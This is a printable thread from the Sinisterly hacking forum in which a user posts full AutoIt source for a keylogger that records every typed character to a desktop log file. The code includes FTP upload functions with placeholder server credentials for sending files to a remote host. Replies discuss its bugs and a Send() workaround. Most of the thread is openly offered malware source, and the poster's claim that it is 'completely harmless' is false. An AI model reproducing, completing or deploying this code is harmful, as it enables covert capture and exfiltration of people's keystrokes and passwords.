![]() |
|
HotKeySet() based keylogger, amazingly stable. FTP functions included. - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: Coding (https://sinister.ly/Forum-Coding--71) +--- Thread: HotKeySet() based keylogger, amazingly stable. FTP functions included. (/Thread-HotKeySet-based-keylogger-amazingly-stable-FTP-functions-included) Pages:
1
2
|
HotKeySet() based keylogger, amazingly stable. FTP functions included. - Reverence - 04-21-2012 Much better than my _IsPressed() based keylogger, much more stable too. Captures everything you type and doesn't miss keys no matter what your typing speed is. This keylogger captures every key except for F1-F12, insert, home, page up, delete, end, backspace, page down, shift, tab, caps lock, ctrl, alt, directional arrows, and numpad. Basically, everything you normally type with.. Includes characters like" !@#$%^&*()_+" or "<>:?"}{".. Go ahead and run it, it is completely harmless, unless you want to tweak the code. Enjoy. Code: #include <GUIConstantsEx.au3>
#include <ButtonConstants.au3>
#include <File.au3>
#include <Misc.au3>
#include <FTPEx.au3>
;Keylogger UDF
;Coded by Reverence
Global $Save, $Size
$Server = "ServerName"
$Username = "Username"
$Password = "Password"
$Save = @DesktopDir & "/" & "Log.txt"
_FileCreate($Save)
_AssignKey()
Func _AssignKey()
While 1
HotKeySet("a", "_LogA")
HotKeySet("b", "_LogB")
HotKeySet("c", "_LogC")
HotKeySet("d", "_LogD")
HotKeySet("e", "_LogE")
HotKeySet("f", "_LogF")
HotKeySet("g", "_LogG")
HotKeySet("h", "_LogH")
HotKeySet("i", "_LogI")
HotKeySet("j", "_LogJ")
HotKeySet("k", "_LogK")
HotKeySet("l", "_LogL")
HotKeySet("m", "_LogM")
HotKeySet("n", "_LogN")
HotKeySet("o", "_LogO")
HotKeySet("p", "_LogP")
HotKeySet("q", "_LogQ")
HotKeySet("r", "_LogR")
HotKeySet("s", "_LogS")
HotKeySet("t", "_LogT")
HotKeySet("u", "_LogU")
HotKeySet("v", "_LogV")
HotKeySet("w", "_LogW")
HotKeySet("x", "_LogX")
HotKeySet("y", "_LogY")
HotKeySet("z", "_LogZ")
HotKeySet(" ", "_LogSpace")
HotKeySet(".", "_LogDot")
HotKeySet("'", "_LogApo")
HotKeySet(",", "_LogComma")
HotKeySet(";", "_LogSemCol")
HotKeySet("/", "_LogRightSlash")
HotKeySet("\", "_LogLeftSlash")
HotKeySet("[", "_LogRightBracket")
HotKeySet("]", "_LogLeftBracket")
HotKeySet("1", "_Log1")
HotKeySet("2", "_Log2")
HotKeySet("3", "_Log3")
HotKeySet("4", "_Log4")
HotKeySet("5", "_Log5")
HotKeySet("6", "_Log6")
HotKeySet("7", "_Log7")
HotKeySet("8", "_Log8")
HotKeySet("9", "_Log9")
HotKeySet("0", "_Log0")
HotKeySet("{!}", "_LogEx")
HotKeySet("A", "_LogCaA")
HotKeySet("B", "_LogCaB")
HotKeySet("C", "_LogCaC")
HotKeySet("D", "_LogCaD")
HotKeySet("E", "_LogCaE")
HotKeySet("F", "_LogCaF")
HotKeySet("G", "_LogCaG")
HotKeySet("H", "_LogCaH")
HotKeySet("I", "_LogCaI")
HotKeySet("J", "_LogCaJ")
HotKeySet("K", "_LogCaK")
HotKeySet("L", "_LogCaL")
HotKeySet("M", "_LogCaM")
HotKeySet("N", "_LogCaN")
HotKeySet("O", "_LogCaO")
HotKeySet("P", "_LogCaP")
HotKeySet("Q", "_LogCaQ")
HotKeySet("R", "_LogCaR")
HotKeySet("S", "_LogCaS")
HotKeySet("T", "_LogCaT")
HotKeySet("U", "_LogCaU")
HotKeySet("V", "_LogCaV")
HotKeySet("W", "_LogCaW")
HotKeySet("X", "_LogCaX")
HotKeySet("Y", "_LogCaY")
HotKeySet("Z", "_LogCaZ")
HotKeySet(@CRLF, "_LogEnt")
HotKeySet("{#}", "_LogNum")
HotKeySet("{+}", "_LogPlus")
HotKeySet("^", "_LogUp")
HotKeySet("{{}", "_LogRight")
HotKeySet("{}}", "_LogLeft")
HotKeySet("(", "_LogPa1")
HotKeySet(")", "_LogPa2")
HotKeySet("*", "_LogStar")
HotKeySet("&", "_LogAnd")
HotKeySet("%", "_LogPercent")
HotKeySet("$", "_LogDollar")
HotKeySet("@", "_LogAt")
HotKeySet("-", "_LogHyphen")
HotKeySet("_", "_LogUnderscore")
HotKeySet(":", "_LogColon")
HotKeySet(">", "_LogRightArr")
HotKeySet("<", "_LogLeftArr")
HotKeySet("?", "_LogQuesMark")
HotKeySet("`", "_LogWeird")
HotKeySet("~", "_LogSquiggle")
WEnd
EndFunc
Func _LogA()
FileWrite($Save, "a")
Call("_AssignKey")
EndFunc
Func _LogB()
FileWrite($Save, "b")
Call("_AssignKey")
EndFunc
Func _LogC()
FileWrite($Save, "c")
Call("_AssignKey")
EndFunc
Func _LogD()
FileWrite($Save, "d")
Call("_AssignKey")
EndFunc
Func _LogE()
FileWrite($Save, "e")
Call("_AssignKey")
EndFunc
Func _LogF()
FileWrite($Save, "f")
Call("_AssignKey")
EndFunc
Func _LogG()
FileWrite($Save, "g")
Call("_AssignKey")
EndFunc
Func _LogH()
FileWrite($Save, "h")
Call("_AssignKey")
EndFunc
Func _LogI()
FileWrite($Save, "i")
Call("_AssignKey")
EndFunc
Func _LogJ()
FileWrite($Save, "j")
Call("_AssignKey")
EndFunc
Func _LogK()
FileWrite($Save, "k")
Call("_AssignKey")
EndFunc
Func _LogL()
FileWrite($Save, "l")
Call("_AssignKey")
EndFunc
Func _LogM()
FileWrite($Save, "m")
Call("_AssignKey")
EndFunc
Func _LogN()
FileWrite($Save, "n")
Call("_AssignKey")
EndFunc
Func _LogO()
FileWrite($Save, "o")
Call("_AssignKey")
EndFunc
Func _LogP()
FileWrite($Save, "p")
Call("_AssignKey")
EndFunc
Func _LogQ()
FileWrite($Save, "q")
Call("_AssignKey")
EndFunc
Func _LogR()
FileWrite($Save, "r")
Call("_AssignKey")
EndFunc
Func _LogS()
FileWrite($Save, "s")
Call("_AssignKey")
EndFunc
Func _LogT()
FileWrite($Save, "t")
Call("_AssignKey")
EndFunc
Func _LogU()
FileWrite($Save, "u")
Call("_AssignKey")
EndFunc
Func _LogV()
FileWrite($Save, "v")
Call("_AssignKey")
EndFunc
Func _LogW()
FileWrite($Save, "w")
Call("_AssignKey")
EndFunc
Func _LogX()
FileWrite($Save, "x")
Call("_AssignKey")
EndFunc
Func _LogY()
FileWrite($Save, "y")
Call("_AssignKey")
EndFunc
Func _LogZ()
FileWrite($Save, "z")
Call("_AssignKey")
EndFunc
Func _LogSpace()
FileWrite($Save, " ")
Call("_AssignKey")
EndFunc
Func _LogDot()
FileWrite($Save, ".")
Call("_AssignKey")
EndFunc
Func _LogApo()
FileWrite($Save, "'")
Call("_AssignKey")
EndFunc
Func _LogComma()
FileWrite($Save, ",")
Call("_AssignKey")
EndFunc
Func _LogSemCol()
FileWrite($Save, ";")
Call("_AssignKey")
EndFunc
Func _LogRightSlash()
FileWrite($Save, "/")
Call("_AssignKey")
EndFunc
Func _LogLeftSlash()
FileWrite($Save, "\")
Call("_AssignKey")
EndFunc
Func _LogRightBracket()
FileWrite($Save, "[")
Call("_AssignKey")
EndFunc
Func _LogLeftBracket()
FileWrite($Save, "]")
Call("_AssignKey")
EndFunc
Func _Log1()
FileWrite($Save, "1")
Call("_AssignKey")
EndFunc
Func _Log2()
FileWrite($Save, "2")
Call("_AssignKey")
EndFunc
Func _Log3()
FileWrite($Save, "3")
Call("_AssignKey")
EndFunc
Func _Log4()
FileWrite($Save, "4")
Call("_AssignKey")
EndFunc
Func _Log5()
FileWrite($Save, "5")
Call("_AssignKey")
EndFunc
Func _Log6()
FileWrite($Save, "6")
Call("_AssignKey")
EndFunc
Func _Log7()
FileWrite($Save, "7")
Call("_AssignKey")
EndFunc
Func _Log8()
FileWrite($Save, "8")
Call("_AssignKey")
EndFunc
Func _Log9()
FileWrite($Save, "9")
Call("_AssignKey")
EndFunc
Func _Log0()
FileWrite($Save, "0")
Call("_AssignKey")
EndFunc
Func _LogEx()
FileWrite($Save, "!")
Call("_AssignKey")
EndFunc
Func _LogCaA()
FileWrite($Save, "A")
Call("_AssignKey")
EndFunc
Func _LogCaB()
FileWrite($Save, "B")
Call("_AssignKey")
EndFunc
Func _LogCaC()
FileWrite($Save, "C")
Call("_AssignKey")
EndFunc
Func _LogCaD()
FileWrite($Save, "D")
Call("_AssignKey")
EndFunc
Func _LogCaE()
FileWrite($Save, "E")
Call("_AssignKey")
EndFunc
Func _LogCaF()
FileWrite($Save, "F")
Call("_AssignKey")
EndFunc
Func _LogCaG()
FileWrite($Save, "G")
Call("_AssignKey")
EndFunc
Func _LogCaH()
FileWrite($Save, "H")
Call("_AssignKey")
EndFunc
Func _LogCaI()
FileWrite($Save, "I")
Call("_AssignKey")
EndFunc
Func _LogCaJ()
FileWrite($Save, "J")
Call("_AssignKey")
EndFunc
Func _LogCaK()
FileWrite($Save, "K")
Call("_AssignKey")
EndFunc
Func _LogCaL()
FileWrite($Save, "L")
Call("_AssignKey")
EndFunc
Func _LogCaM()
FileWrite($Save, "M")
Call("_AssignKey")
EndFunc
Func _LogCaN()
FileWrite($Save, "N")
Call("_AssignKey")
EndFunc
Func _LogCaO()
FileWrite($Save, "O")
Call("_AssignKey")
EndFunc
Func _LogCaP()
FileWrite($Save, "P")
Call("_AssignKey")
EndFunc
Func _LogCaQ()
FileWrite($Save, "Q")
Call("_AssignKey")
EndFunc
Func _LogCaR()
FileWrite($Save, "R")
Call("_AssignKey")
EndFunc
Func _LogCaS()
FileWrite($Save, "S")
Call("_AssignKey")
EndFunc
Func _LogCaT()
FileWrite($Save, "T")
Call("_AssignKey")
EndFunc
Func _LogCaU()
FileWrite($Save, "U")
Call("_AssignKey")
EndFunc
Func _LogCaV()
FileWrite($Save, "V")
Call("_AssignKey")
EndFunc
Func _LogCaW()
FileWrite($Save, "W")
Call("_AssignKey")
EndFunc
Func _LogCaX()
FileWrite($Save, "X")
Call("_AssignKey")
EndFunc
Func _LogCaY()
FileWrite($Save, "Y")
Call("_AssignKey")
EndFunc
Func _LogCaZ()
FileWrite($Save, "Z")
Call("_AssignKey")
EndFunc
Func _LogEnt()
FileWrite($Save, @CRLF)
Call("_AssignKey")
EndFunc
Func _LogNum()
FileWrite($Save, "#")
Call("_AssignKey")
EndFunc
Func _LogPlus()
FileWrite($Save, "+")
Call("_AssignKey")
EndFunc
Func _LogUp()
FileWrite($Save, "^")
Call("_AssignKey")
EndFunc
Func _LogRight()
FileWrite($Save, "{")
Call("_AssignKey")
EndFunc
Func _LogLeft()
FileWrite($Save, "}")
Call("_AssignKey")
EndFunc
Func _LogPa1()
FileWrite($Save, "(")
Call("_AssignKey")
EndFunc
Func _LogPa2()
FileWrite($Save, ")")
Call("_AssignKey")
EndFunc
Func _LogStar()
FileWrite($Save, "*")
Call("_AssignKey")
EndFunc
Func _LogAnd()
FileWrite($Save, "&")
Call("_AssignKey")
EndFunc
Func _LogPercent()
FileWrite($Save, "%")
Call("_AssignKey")
EndFunc
Func _LogDollar()
FileWrite($Save, "$")
Call("_AssignKey")
EndFunc
Func _LogAt()
FileWrite($Save, "@")
Call("_AssignKey")
EndFunc
Func _LogHyphen()
FileWrite($Save, "-")
Call("_AssignKey")
EndFunc
Func _LogUnderscore()
FileWrite($Save, "_")
Call("_AssignKey")
EndFunc
Func _LogQuesMark()
FileWrite($Save, "?")
Call("_AssignKey")
EndFunc
Func _LogRightArr()
FileWrite($Save, ">")
Call("_AssignKey")
EndFunc
Func _LogLeftArr()
FileWrite($Save, "<")
Call("_AssignKey")
EndFunc
Func _LogWeird()
FileWrite($Save, "`")
Call("_AssignKey")
EndFunc
Func _LogSquiggle()
FileWrite($Save, "~")
Call("_AssignKey")
EndFunc
Func _LogColon()
FileWrite($Save, ":")
Call("_AssignKey")
EndFunc
Func _FTP_FileSend($Server, $Username, $Password, $LocFile, $RemFile)
$oFTP = _FTP_Open("myftp")
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)
_FTP_FilePut($oConnect, $LocFile, $RemFile)
_FTP_Close($oFTP)
EndFunc
Func _FTP_CreateDir($DirName)
$oFTP = _FTP_Open("myftp")
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)
_FTP_DirCreate($oConnect, $DirName)
_FTP_Close($oFTP)
EndFuncRE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - Alienbablu - 05-20-2012 showing error in line 8............................................... RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - Reverence - 05-20-2012 (05-20-2012, 12:03 AM)Alienbablu Wrote: showing error in line 8............................................... Line 8 isn't even relevant to the code. RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - Jacob - 05-20-2012 As far as I know, when you use hotkeyset() function it disallows the user to actually type. I know this sounds weird but hotkeyset() natively disables user input so that it can tell if the key was pressed or not. And if it was, then it will tell your system to call that function instead of the system function for outputting the respective key. When try using less system calls. This goes for programming in general. For example [spoiler="C++"] Code: System("Beep")[/spoiler][spoiler="Autoit3"] Code: Call("_aFunction")[/spoiler]If you want to call a function in autoit, it is far more productive just to type Code: _aFunction(any parameters)instead of using the system call. Aside from this^^ This looks really good
RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - Reverence - 05-20-2012 (05-20-2012, 10:59 AM)Jacob Wrote: As far as I know, when you use hotkeyset() function it disallows the user to actually type. I know this sounds weird but hotkeyset() natively disables user input so that it can tell if the key was pressed or not. And if it was, then it will tell your system to call that function instead of the system function for outputting the respective key. LOL I know. I just made it for shits and giggles. I wanted to see how people respond when they realize that they couldn't type while the keylogger was on.. It is nonetheless, pretty stable. RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - 1234hotmaster - 05-25-2012 looks nice good work. RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - spymare - 09-18-2012 using this the keyboard doesen't work at all, because your using hotkeyset. RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - 1234hotmaster - 09-18-2012 (09-18-2012, 10:53 AM)spymare Wrote: using this the keyboard doesen't work at all, because your using hotkeyset. LOL I ABSOLUTELY FORGOT TO SAY IT IN THIS THREAD! Well you could resolve that by using Send() but eh... It wont work on all applications so the user will be confused why the keyboard isn't working
RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - spymare - 09-18-2012 i'm using Send(), haven't experienced any programs where it didn't work
RE: HotKeySet() based keylogger, amazingly stable. FTP functions included. - spymare - 09-18-2012 i'm using Send(), haven't experienced any programs where it didn't work
|